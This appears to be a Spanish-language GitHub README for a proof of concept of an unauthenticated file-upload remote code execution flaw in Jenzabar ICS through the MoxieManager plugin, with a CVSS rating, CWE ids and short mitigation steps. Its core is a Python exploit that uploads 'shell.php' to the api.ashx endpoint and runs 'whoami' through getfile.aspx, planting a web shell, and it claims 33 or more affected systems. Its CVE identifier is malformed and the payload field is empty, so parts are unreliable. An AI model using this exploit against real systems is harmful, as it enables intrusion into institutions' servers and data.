itsismarcos/ics-moxiemanager-fileupload-pocCVE-2026-30-03 9.8 (Crítico) Posible RCE en Jenzabar ICS + MoxieManager
CVE-2026-30-03 9.8 (Crítico) Posible RCE Jenzabar ICS + MoxieManager
proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be
CVE CVSS Impacto Afetado CVE-2026-30-03 9.8 (Crítico) Posible RCE Jenzabar ICS + MoxieManager
Una vulnerabilidad en el componente MoxieManager utilizado por el sistema Jenzabar ICS puede permitir el envío inadecuado de archivos que, bajo determinadas condiciones, pueden ser accesibles públicamente y potencialmente conducir a la ejecución remota de código (RCE). Descripción Técnica
El problema ocurre debido a:
Falta de validación adecuada de archivos enviados
Posible exposición de archivos a través del endpoint público:
/ICS/staticpages/getfile.aspx
Control de autenticación inconsistente en el endpoint:
/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx
En escenarios específicos, los archivos enviados pueden almacenarse en directorios accesibles y posteriormente recuperarse.
Impacto Carga arbitraria de archivos Exposición de contenido sensible Posible ejecución remota de código (dependiendo de la configuración del servidor) Compromiso total del sistema
Clasificación CVSS v3.1: 9.8 (Crítico) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Carga de archivo sin restricción CWE-284: Control de acceso inadecuado
PoC Exploit
#!/usr/bin/env python3
import requests
TARGET = "https://example.edu" MOXIE = f"{TARGET}/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx" UUID = "5d6b24cb-7bfe-4a6b-8581-4426bf0f4101"
files = {'file': ('shell.php', '', 'application/x-php')} data = {'action': 'upload', 'path': '/1085255', 'csrf': 'E24607903E4DC7496732F267BAD48FF35D855DA9E362AB80E0340D5B5EC5F164'}
r = requests.post(MOXIE, files=files, data=data) print(f"[+] Upload: {r.status_code}")
SHELL = f"{TARGET}/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/{UUID}/shell.php" print(f"[+] Shell: {SHELL}?cmd=whoami") print(requests.get(f"{SHELL}?cmd=whoami").text)
Sistemas Afectados (33+ Confirmados)
Remediación Inmediata (Mitigación):
ELIMINAR /moxiemanager/files/users/*/shell.php
Restringir getfile.aspx:
RewriteRule ^/ICS/staticpages/getfile.aspx?target=.*shell.php - [F,L]
Deshabilitar las cargas de MoxieManager
